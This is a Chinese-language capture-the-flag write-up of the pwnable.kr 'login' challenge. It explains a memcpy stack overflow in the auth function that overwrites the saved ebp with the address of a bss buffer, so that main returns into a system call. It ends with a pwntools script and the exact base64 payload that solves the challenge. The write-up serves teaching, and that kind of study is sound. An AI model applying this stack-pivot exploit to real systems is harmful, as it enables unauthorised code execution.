栈溢出之 pwnable.kr login

Can you get authentication from this server?

Download : http://pwnable.kr/bin/login

Running at : nc pwnable.kr 9003

 

栈溢出之 pwnable.kr login_第1张图片

反编译main函数

栈溢出之 pwnable.kr login_第2张图片

通过main函数的第21行我们知道,解码之后的字符串也被存放在了input指向的内存单元中。同时我们知道,input在bss段。

反编译Base64Decode函数

栈溢出之 pwnable.kr login_第3张图片

反编译auth函数

栈溢出之 pwnable.kr login_第4张图片

通过查看auth函数,我们发现很难通过正常的程序执行流程来通过验证。但是,问题的切入点也是这个auth函数。我们发现在auth函数的地7行:

memcpy(&v4, &input, a1).也就是说,把a1长度的字符串从一个地址(&input)复制到另一个地址(&v4).

双击input

我们发现input存在于bss段,也就是说,input是未初始化的全局变量。

我们不妨画出auth函数的栈帧结构:

栈溢出之 pwnable.kr login_第5张图片

我们可以知道,在执行完auth函数第7行的memcpy函数之后,如果假设input指向的内容有12个字节。那么上图中的内存单元中的数据将会被覆盖:

栈溢出之 pwnable.kr login_第6张图片

也就是说,之前保存的main函数的ebp被覆盖了,变成了一个新的值。我们不妨把这个设置为input的地址。这样的话,假设之前input地址处的内容如下:

栈溢出之 pwnable.kr login_第7张图片

那么input地址也同时是main函数的ebp,那么

栈溢出之 pwnable.kr login_第8张图片

那么在main函数执行完毕之后,就可以执行payload2对应的地址处的指令了。

所以,本题的精髓在于,通过溢出auth函数的栈帧,来设置auth中保存的main函数的ebp为input变量的地址(该地址在bss段中,并且之前输入的内容也保存与input中),今儿通过之前input变量中的内容,来覆盖main函数执行完毕之后的eip,从而控制程序的执行。

从0x08049284处开始执行,相当于为system传递参数。所以payload2用于覆盖main函数的eip,payload3用于覆盖main函数的ebp。该ebp设置为input的地址,即0x0811eb40。

from pwn import *
from zio3 import p32

ready_call_system = 0x8049284
input_or_main_ebp = 0x811eb40
payload = 'abcd'.encode('ascii') + p32(ready_call_system) + p32(input_or_main_ebp)
print(payload)
payload = b64e(payload)
print(payload)

所以,输入YWJjZISSBAhA6xEI即可通过。

栈溢出之 pwnable.kr login_第9张图片

为了验证我们的payload,我们把YWJjZISSBAhA6xEI通过base64解码之后,使用hexdump查看解码之后的内容对应的十六进制数据。

你可能感兴趣的:(逆向分析)